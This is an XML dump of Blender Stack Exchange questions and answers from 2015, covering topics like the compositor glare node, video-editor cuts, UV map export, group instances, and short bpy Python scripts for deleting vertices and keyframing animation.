  <row Id="36921" PostTypeId="1" CreationDate="2015-09-02T18:27:54.233" Score="1" ViewCount="304" Body="&lt;p&gt;I try to make a light source a little blurry. In the compositor I use the blur filter, but that results in vertical or horizontal blurs (changing x and y values). Is it possible to make the blurs that have an angle? This image as an example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://courses.cs.washington.edu/courses/cse458/10au/content/exercises/images/lighting2/lens_flare.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14206" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:46.650" LastActivityDate="2015-09-02T18:52:01.827" Title="Is it possible to make blurs that have an angle?" Tags="&lt;compositor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36922" PostTypeId="2" ParentId="36921" CreationDate="2015-09-02T18:51:31.097" Score="2" Body="&lt;p&gt;There's a dedicated &lt;a href=&quot;http://blender.org/manual/composite_nodes/types/filter/glare.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Glare&lt;/em&gt; node&lt;/a&gt; designed for creating lensflares:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lc3Yc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lc3Yc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think it can produce diverging streaks quite like in your example, but perhaps it can come close enough?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-09-02T18:51:31.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36923" PostTypeId="2" ParentId="36913" CreationDate="2015-09-02T18:59:21.007" Score="1" Body="&lt;p&gt;If your addons are zip files, then it is best to unzip them and place them in the addons directory. For Windows it is (where you installed Blender)/Blender Foundation/Blender 2.75/2.75/scripts/addons directory. Put your addons there, then restart Blender and it will show up in the User Prefs.&lt;/p&gt;&#xA;" OwnerUserId="16470" LastActivityDate="2015-09-02T18:59:21.007" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36924" PostTypeId="1" CreationDate="2015-09-02T19:14:45.407" Score="1" ViewCount="275" Body="&lt;p&gt;I'm in the process of trimming down a video in Blender and I was wondering if there was a way make an L-Cut or a J-Cut. Is it possible?&lt;/p&gt;&#xA;" OwnerUserId="16861" LastEditorUserId="599" LastEditDate="2015-09-02T19:42:29.170" LastActivityDate="2015-09-02T21:07:38.070" Title="Is there a way to do a J-Cut or L-Cut in the video editor?" Tags="&lt;editing&gt;&lt;video-sequence-editor&gt;&lt;video&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36925" PostTypeId="1" AcceptedAnswerId="36935" CreationDate="2015-09-02T19:26:55.140" Score="2" ViewCount="740" Body="&lt;p&gt;When i take one of my objects and unwrap it onto the uv map area it will unwrap it like it should around the seams i make. but when i look at it the area on the faces is slightly white and when i export it to color behind it, any color behind it is a bit lighter then it should. another problem  i have is when i add an image to a node to add it to an object to color it, the object will turn while and not show any signs of any of the color at all even though the uv colored map was a color.&lt;/p&gt;&#xA;" OwnerUserId="16862" LastEditorUserId="12" LastEditDate="2015-09-03T01:58:46.610" LastActivityDate="2015-09-03T01:58:46.610" Title="Why there is a layer of transparancy on my uv map?" Tags="&lt;uv&gt;&lt;image&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36926" PostTypeId="2" ParentId="36924" CreationDate="2015-09-02T19:41:20.423" Score="1" Body="&lt;p&gt;Yes, it's just a matter of cutting (&lt;kbd&gt;K&lt;/kbd&gt;) between the video and audio strips at separate frames. For example, here's an L cut:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Mfv7S.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Mfv7S.png&quot; alt=&quot;L-cut in vse&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="2217" LastEditDate="2015-09-02T21:07:38.070" LastActivityDate="2015-09-02T21:07:38.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36927" PostTypeId="1" CreationDate="2015-09-02T20:39:14.560" Score="1" ViewCount="33" Body="&lt;p&gt;When I made the other levels I have to change the names from the logics because I copied my hero, bad guys and amunnition from level 1. I have to change a lot of things then. How can I do to make all the important elements and characters to be with the same name in all the scenes? or a solution to my problem..&lt;/p&gt;&#xA;" OwnerUserId="16727" LastActivityDate="2015-09-02T20:39:14.560" Title="How to make the hero from my game to be the same in all levels?" Tags="&lt;logic-bricks&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36928" PostTypeId="1" CreationDate="2015-09-02T20:56:52.673" Score="3" ViewCount="1872" Body="&lt;p&gt;I have a number of different MP4 files. I want to create a Blender project file that has these files in a set order and each video stream starting at a set start time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know the files, I know the order and I know the start time I would like. Can I use a script that generates this project file or a script to setup Blender to then save as a project file?&lt;/p&gt;&#xA;" OwnerUserId="16864" LastEditorUserId="3710" LastEditDate="2015-09-04T11:33:47.093" LastActivityDate="2015-11-18T11:32:00.960" Title="Generate video sequencer project from a script" Tags="&lt;python&gt;&lt;scripting&gt;&lt;workflow&gt;&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36930" PostTypeId="1" AcceptedAnswerId="36932" CreationDate="2015-09-02T21:27:29.557" Score="0" ViewCount="4911" Body="&lt;p&gt;I created a group and added objects to it,&#xA;then Add -&gt; Group Instance. How to turn this linked instance into&#xA;a completely independent, ungrouped &quot;deep&quot; copy of the objects in the group?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried the options I get by RMB on the outliner, to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I need this to export collada; the exporter code won't output the objects within a group if they're linked/instantiated from another scene.&lt;/p&gt;&#xA;" OwnerUserId="16590" LastEditorUserId="16590" LastEditDate="2015-09-04T08:52:21.130" LastActivityDate="2019-09-12T20:14:53.650" Title="How to turn a linked group into independent objects?" Tags="&lt;export&gt;&lt;file-format&gt;&lt;linked-data&gt;&lt;collada&gt;&lt;groups&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36931" PostTypeId="2" ParentId="36876" CreationDate="2015-09-02T21:36:56.677" Score="1" Body="&lt;p&gt;If you need help figuring out how to rig NLAs with python, perhaps this sample code from my virtual kinetic art helps:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from math import *&#xA;&#xA;def set_kp(kp, co, easing):&#xA;    kp.co = co&#xA;    kp.handle_left = co&#xA;    kp.handle_right = co&#xA;    kp.easing = easing&#xA;    kp.interpolation = 'SINE'&#xA;&#xA;&#xA;def wipe_fcurves(action):&#xA;    while len(action.fcurves) &amp;gt; 0:&#xA;        action.fcurves.remove(action.fcurves[-1])&#xA;&#xA;&#xA;def keyframe_action1(action):&#xA;    wipe_fcurves(action)&#xA;&#xA;    fc = action.fcurves.new(&quot;location&quot;, 2)&#xA;    fc.keyframe_points.add(5)&#xA;    set_kp(fc.keyframe_points[0], [0,0], 'EASE_OUT')&#xA;    set_kp(fc.keyframe_points[1], [20,1], 'EASE_IN')&#xA;    set_kp(fc.keyframe_points[2], [40,0], 'EASE_OUT')&#xA;    set_kp(fc.keyframe_points[3], [60,-1], 'EASE_IN')&#xA;    set_kp(fc.keyframe_points[4], [80,0], 'EASE_OUT')&#xA;&#xA;def keyframe_action2(action, scale=1):&#xA;&#xA;    wipe_fcurves(action)&#xA;    timescale = 400&#xA;    fc = action.fcurves.new(&quot;location&quot;, 2)&#xA;    fc.keyframe_points.add(5)&#xA;    set_kp(fc.keyframe_points[0], [0,0], 'EASE_IN')&#xA;    set_kp(fc.keyframe_points[1], [1*timescale,1*scale], 'EASE_OUT')&#xA;    set_kp(fc.keyframe_points[2], [2*timescale,2*scale], 'EASE_IN')&#xA;    set_kp(fc.keyframe_points[3], [3*timescale,1*scale], 'EASE_OUT')&#xA;    set_kp(fc.keyframe_points[4], [4*timescale,0], 'EASE_IN')&#xA;&#xA;def action_for(u,v):&#xA;&#xA;    name = &quot;high frequency sine&quot;&#xA;    action = bpy.data.actions.get(name)&#xA;    if action is None:&#xA;        action = bpy.data.actions.new(name)&#xA;        keyframe_action1(action)&#xA;&#xA;    return action&#xA;&#xA;def action2a():&#xA;    name = &quot;low frequency cosine up&quot;&#xA;    action = bpy.data.actions.get(name)&#xA;    if action is None:&#xA;        action = bpy.data.actions.new(name)&#xA;        keyframe_action2(action, 2)&#xA;    return action&#xA;&#xA;def action2b():&#xA;    name = &quot;low frequency cosine down&quot;&#xA;    action = bpy.data.actions.get(name)&#xA;    if action is None:&#xA;        action = bpy.data.actions.new(name)&#xA;        keyframe_action2(action, -2)&#xA;    return action&#xA;&#xA;&#xA;def rig_track_one_strip(ad, track_no, strip_start_frame, action, source_start, source_end, repeat_count, strip_scale=1,&#xA;                        track_name=&quot;high frequency&quot;, blend_type='REPLACE'):&#xA;    if track_no &amp;lt; len(ad.nla_tracks):&#xA;        tr1 = ad.nla_tracks[track_no]&#xA;    else:&#xA;        tr1 = ad.nla_tracks.new()&#xA;    tr1.name = track_name&#xA;    if len(tr1.strips) &amp;lt; 1:&#xA;        strip1 = tr1.strips.new(&quot;bacon&quot;, strip_start_frame, action)&#xA;    else:&#xA;        strip1 = tr1.strips[0]&#xA;        strip1.action = action&#xA;    strip1.frame_start = strip_start_frame&#xA;    strip1.action_frame_start = source_start&#xA;    strip1.action_frame_end = source_end&#xA;    strip1.repeat = repeat_count&#xA;    strip1.scale = strip_scale&#xA;    strip1.blend_type = blend_type&#xA;&#xA;    return (tr1, strip1)&#xA;&#xA;def rig_nlas(obj, u,v):&#xA;    theta = u/3+v/10 # + frame*pi/40&#xA;&#xA;    if obj.animation_data is None:&#xA;        obj.animation_data_create()&#xA;&#xA;    ad = obj.animation_data&#xA;&#xA;    if 0 == u % 2:&#xA;        repeat = 40&#xA;        scale = 1&#xA;    else:&#xA;        repeat = 38&#xA;        scale = 40 / 38&#xA;    rig_track_one_strip(ad, 0, -theta / (pi / 40), action_for(u, v), 0,80, repeat, scale)&#xA;&#xA;    if 0==u%2:&#xA;        rig_track_one_strip(ad, 1, 1, action2a(), 0, 1600, 2, 1, &quot;low frequency&quot;, 'ADD')&#xA;    else:&#xA;        rig_track_one_strip(ad, 1, 1, action2b(), 0, 1600, 2, 1, &quot;low frequency&quot;, 'ADD')&#xA;&#xA;&#xA;def fab_object_for(scn, u,v):&#xA;    name = &quot;ball2 at %d,%d&quot; % (u, v)&#xA;    obj = bpy.data.objects.get(name)&#xA;    if obj is None:&#xA;        obj = bpy.data.objects.new(name, bpy.data.meshes.get(&quot;Icosphere&quot;))&#xA;    try:&#xA;        scn.objects.link(obj)&#xA;    except:&#xA;        pass&#xA;    obj.location = (u,v,0)&#xA;    rig_nlas(obj, u, v)&#xA;&#xA;&#xA;scn = bpy.context.scene&#xA;&#xA;for v in range(20):&#xA;    for u in range(20):&#xA;        fab_object_for(scn ,u,v)&#xA;&#xA;keyframe_action1(bpy.data.actions['high frequency sine'])&#xA;keyframe_action2(bpy.data.actions['low frequency cosine down'], -2)&#xA;keyframe_action2(bpy.data.actions['low frequency cosine up'], 2)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It assumes you already have a mesh named 'Icosphere' (you can add one using blender's interactive menus).&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2015-09-02T21:36:56.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36932" PostTypeId="2" ParentId="36930" CreationDate="2015-09-02T22:09:26.443" Score="2" Body="&lt;p&gt;You can make objects instantiated by group to be real ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While group instance selected, execute Make Duplicates Real operator (or press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; if in 2.79 or prior) to make objects from group as real ones. You can now deal with them as with meshes, because they already are. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can run Make Single User operator from Object menu (or press &lt;kbd&gt;U&lt;/kbd&gt; &gt; &lt;em&gt;Object Data&lt;/em&gt; if in 2.79 or prior) to make these objects use their own mesh datablock (if there is needed possibilty to edit them individually).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;hr/&gt;&#xA;While this will work, it has it downsides:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Pros&lt;/h3&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Make objects from group finally editable (sometimes may be useful)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h3&gt;Cons&lt;/h3&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Additional geometry will be added that can lower scene processing or rendering time.&lt;/li&gt;&#xA;&lt;li&gt;Additinal objects will appear in Outliner (if objects were made to use their own mesh datablocks), so in case of there are many objects in the scene, you may want to avoid this so not to slow down 3D View. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1245" LastEditorUserId="1245" LastEditDate="2019-09-12T20:14:53.650" LastActivityDate="2019-09-12T20:14:53.650" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="36933" PostTypeId="1" AcceptedAnswerId="36937" CreationDate="2015-09-02T22:34:33.780" Score="4" ViewCount="1386" Body="&lt;p&gt;I am trying to create a bowl in Blender by using the Python scipt.  My method is as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Clear cube in new file&lt;/li&gt;&#xA;&lt;li&gt;Create UV sphere via Add --&gt; Mesh --&gt; UV Sphere&lt;/li&gt;&#xA;&lt;li&gt;Tab (enter edit mode)&lt;/li&gt;&#xA;&lt;li&gt;a' (unselect all points)&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Highlight all vertices below the XY plane (Z &amp;lt; 0), and delete them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an efficient way to carry out step 5 via python scripting? Doing so in Blender and watching the Python script window doesn't help, since the selection is manual.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="16866" LastActivityDate="2020-06-14T03:13:15.950" Title="Efficient way to delete all points below z = 0 on grid via Python script" Tags="&lt;python&gt;&lt;scripting&gt;&lt;vertices&gt;" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36934" PostTypeId="1" CreationDate="2015-09-02T22:39:25.580" Score="3" ViewCount="91" Body="&lt;p&gt;If you look in this image of a head in texture paint mode&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zj7vn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zj7vn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see a crease and change in shading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its also visible in the render&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Pm1YZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pm1YZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone help me please :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/rCCxR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/rCCxR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9495" LastEditorUserId="9495" LastEditDate="2015-09-05T00:28:52.747" LastActivityDate="2015-09-05T00:28:52.747" Title="Creases at cutoff parts of normal map wrap" Tags="&lt;normals&gt;" AnswerCount="0" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="36935" PostTypeId="2" ParentId="36925" CreationDate="2015-09-03T00:35:26.750" Score="3" Body="&lt;p&gt;First question around transparency: When Blender exports a UV map, faces are slightly opaque by default. This is so people can more clearly distinguish the difference between what IS a face, and what isn't. Ordinarily the UV map is taken into a graphic program like GIMP, Photoshop, illustrator, etc as a layer: the actual artwork is drawn on different layers, and that final result is exported as a Blender compatible file format, WITHOUT the original underlying (or overlying) UV map.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So... export your UV map, do your artwork, and remove the UV map layer before saving your finished art.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The amount that Blender will tint faces is configurable! When exporting, look in the left column for this palette:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iOLdP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iOLdP.png&quot; alt=&quot;Fill Opacitiy&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...And adjust the Fill Opacity to zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your second question needs more detail, such as which render engine you're using (Blender Internal or Cycles [or other]), what node you're adding to color it and how the nodes are connected. A screenshot would be necessary. Good luck :)&lt;/p&gt;&#xA;" OwnerUserId="14754" LastActivityDate="2015-09-03T00:35:26.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36937" PostTypeId="2" ParentId="36933" CreationDate="2015-09-03T02:06:21.687" Score="6" Body="&lt;p&gt;This small script loops through the vertices in the active object and deletes all the vertices that are below 0 on the local Z axis. The local axis starts at the object origin.&lt;/p&gt;&#xA;&lt;p&gt;Just paste this in to the text editor in blender and with your UV sphere selected press the &lt;em&gt;Run&lt;/em&gt; button.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;vert = bpy.context.object.data.vertices&#xA;&#xA;bpy.ops.object.mode_set(mode='OBJECT')&#xA;&#xA;for v in vert:&#xA;    v.select = v.co.z &amp;lt; 0&#xA;        &#xA;bpy.ops.object.mode_set(mode = 'EDIT') &#xA;bpy.ops.mesh.delete(type='VERT')&#xA;bpy.ops.object.mode_set(mode = 'OBJECT')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="15543" LastEditDate="2020-06-14T03:13:15.950" LastActivityDate="2020-06-14T03:13:15.950" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="36938" PostTypeId="1" CreationDate="2015-09-03T02:08:59.723" Score="3" ViewCount="936" Body="&lt;p&gt;Problem Resolved &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SWpaJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SWpaJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i was following a tutorial online on how to make something and when it came time to add color to it i followed just how he did it. when he added an image into the texture node even when it wasn't attached to any other node it got color to it. but when i added mine no matter what color i had in it, my 3d object would just turn white. i tried attaching the texture node to the color attachment on the diffuse BSDF node but it still stayed white. can anyone help?&lt;/p&gt;&#xA;" OwnerUserId="16862" LastEditorUserId="6076" LastEditDate="2015-09-03T17:03:26.963" LastActivityDate="2015-09-03T17:03:26.963" Title="Viewport Shading, color wont show up on the 3d object in cycle render" Tags="&lt;uv&gt;&lt;image&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36940" PostTypeId="1" CreationDate="2015-09-03T04:34:59.677" Score="1" ViewCount="557" Body="&lt;p&gt;I want a friend to render my 6400 frame short film I made on blender... And it has a lot of image textures for materials... I have all the images, music, and pretty much everything that is in the animation in one folder, including the actual blender file... But it seems the destination of the files will change because the folder would be installed on his computer and he would have to go and change all the matierial image texture file destinations to the same folder on his disk... Is there a way where he can just link up to all of the files without the hassle? Thanks &lt;/p&gt;&#xA;" OwnerUserId="16802" LastActivityDate="2015-09-03T13:53:32.437" Title="Linking external data back to the blender file after moving" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;video-sequence-editor&gt;&lt;blend-files&gt;&lt;file-browser&gt;" AnswerCount="1" CommentCount="4" ClosedDate="2015-09-03T16:25:59.567" ContentLicense="CC BY-SA 3.0" />
  <row Id="36941" PostTypeId="1" AcceptedAnswerId="36942" CreationDate="2015-09-03T06:45:44.780" Score="4" ViewCount="256" Body="&lt;p&gt;Is it possible to create a Table using a template list that has first row as the description of the attributes the list contains. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I currently have something like this. &#xA;&lt;a href=&quot;https://i.stack.imgur.com/dH57J.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dH57J.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is occupying way to much space and I want to actually put the cell description only on the top centered and have only values in the grid.&lt;/p&gt;&#xA;" OwnerUserId="15093" LastActivityDate="2015-09-03T06:59:19.553" Title="Blender Python Displaying UI Table with header" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36942" PostTypeId="2" ParentId="36941" CreationDate="2015-09-03T06:59:19.553" Score="3" Body="&lt;p&gt;No, there is currently no way to do this.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-09-03T06:59:19.553" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36943" PostTypeId="2" ParentId="36838" CreationDate="2015-09-03T07:25:17.733" Score="1" Body="&lt;p&gt;if you subdivide a plane, unwrap it, and paint a MASK as the one you can see here, you will be able to use it with a displace modifier, also use it to control the particles emission, and finally to split two materials with a mix slot.So that the object is one. Cheers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KgJes.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KgJes.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13343" LastActivityDate="2015-09-03T07:25:17.733" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36944" PostTypeId="1" CreationDate="2015-09-03T08:44:20.930" Score="1" ViewCount="91" Body="&lt;p&gt;I have made a bunch of rectangular joints which i want to convert to curves please see attachment. Any help is appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;img src=&quot;https://i.stack.imgur.com/1sfYR.png&quot; alt=&quot;![enter image description here&quot;&gt;]&lt;a href=&quot;https://i.stack.imgur.com/1sfYR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;1&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16871" LastActivityDate="2015-09-03T08:44:20.930" Title="AutoCAD User Converting Rectangular Joints to Curves" Tags="&lt;modifiers&gt;&lt;objects&gt;&lt;bezier-curves&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36946" PostTypeId="1" CreationDate="2015-09-03T09:42:56.647" Score="4" ViewCount="193" Body="&lt;p&gt;Can i import a strip from VSE editor and add it in an image plane as a texture?&lt;/p&gt;&#xA;" OwnerUserId="16874" LastActivityDate="2015-09-03T23:22:04.050" Title="import video strip VSE into the 3d image plane" Tags="&lt;texturing&gt;&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36947" PostTypeId="1" CreationDate="2015-09-03T10:13:50.900" Score="4" ViewCount="1164" Body="&lt;p&gt;I have modelled a pencil sharpener as in the attached image. Now I want to prepare it for sale at CGTrader or Turbosquid (or some other, doesn't matter at this point). I would like to deliver a professional grade result. I need to texture the model, but to put it on a site for sale, I will probably need to bake the textures, because I will also need to deliver the model in some exchange formats, such as FBX, OBJ, 3DS, DAE, which won't understand Blender's materials and special qualities of how light reacts to it, am I right? And now comes my question. I'm trying to understand the baking process. If I have a material such as Anisotropic BSDF (Cycles) or Subsurface Scattering material, if I bake, do I loose the special qualities of the material, how it reacts to light? If I understand correctly, baking is like flattening the texture and special qualities of the material, they are lost, right? Also, I see that I can choose what to bake, such as Subsurface Color, Subsurface Direct, Subsurface Indirect, Transmission, Glossy, Diffuse, etc etc. How does it work, how to use it properly? What do these &quot;channels&quot; do exactly? And if I bake all these separate &quot;channels&quot; how to put it back together in one finished material?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/G5pmw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/G5pmw.png&quot; alt=&quot;A pencil Sharpener&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16239" LastActivityDate="2015-09-03T10:13:50.900" Title="Trying to understand texture baking" Tags="&lt;texture-baking&gt;&lt;baking&gt;" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="36948" PostTypeId="2" ParentId="36884" CreationDate="2015-09-03T11:15:23.403" Score="0" Body="&lt;p&gt;Your problem lies with the use of full white color. Use close to white so that those reflections will diminish with each iteration.&lt;/p&gt;&#xA;" OwnerUserId="1796" LastActivityDate="2015-09-03T11:15:23.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36949" PostTypeId="1" CreationDate="2015-09-03T12:14:16.153" Score="4" ViewCount="958" Body="&lt;p&gt;I'm looking for a way to render a mesh that resides inside another mesh, here is an image of what I mean:&#xA;&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/xU3LK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xU3LK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;br&gt;&#xA;I want the part of the monkey that is inside the cube to be rendered, so the result would look like this:&#xA;&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/wEzyN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wEzyN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;br&gt;&#xA;I know, I could achieve this using boolean operators, but this is prone to error due to not closed meshes, also because I will have cases, where multiple objects will lie inside the boundaries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any other way I could achieve this?&lt;/p&gt;&#xA;" OwnerUserId="16876" LastEditorUserId="16876" LastEditDate="2015-09-03T12:50:40.053" LastActivityDate="2015-09-03T14:37:43.883" Title="How to render mesh that's inside another mesh?" Tags="&lt;rendering&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36950" PostTypeId="2" ParentId="36902" CreationDate="2015-09-03T12:21:43.980" Score="9" Body="&lt;p&gt;It is also possible to directly keyframe the positions of the mesh vertices&lt;/p&gt;&#xA;&lt;p&gt;Edit updated for 2.8.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Vector&#xA;&#xA;def insert_keyframe(fcurves, frame, values):&#xA;    for fcu, val in zip(fcurves, values):&#xA;        fcu.keyframe_points.insert(frame, val, options={'FAST'})&#xA;&#xA;obj = bpy.context.active_object&#xA;mesh = obj.data&#xA;action = bpy.data.actions.new(&amp;quot;MeshAnimation&amp;quot;)&#xA;&#xA;mesh.animation_data_create()&#xA;mesh.animation_data.action = action&#xA;&#xA;data_path = &amp;quot;vertices[%d].co&amp;quot;&#xA;vec_z = Vector((0.0, 0.0, 1.0))&#xA;&#xA;frames = 0, 25, 50, 75, 100&#xA;values = 0.0, 3.0, 5.0, 3.0, 0.0&#xA;&#xA;for v in mesh.vertices:&#xA;    fcurves = [action.fcurves.new(data_path % v.index, index =  i) for i in range(3)]&#xA;    co_rest = v.co&#xA;&#xA;    for t, value in zip(frames, values):&#xA;        co_kf = co_rest + value * vec_z&#xA;        insert_keyframe(fcurves, t, co_kf)     &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="15543" LastEditDate="2020-08-18T09:14:54.017" LastActivityDate="2020-08-18T09:14:54.017" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
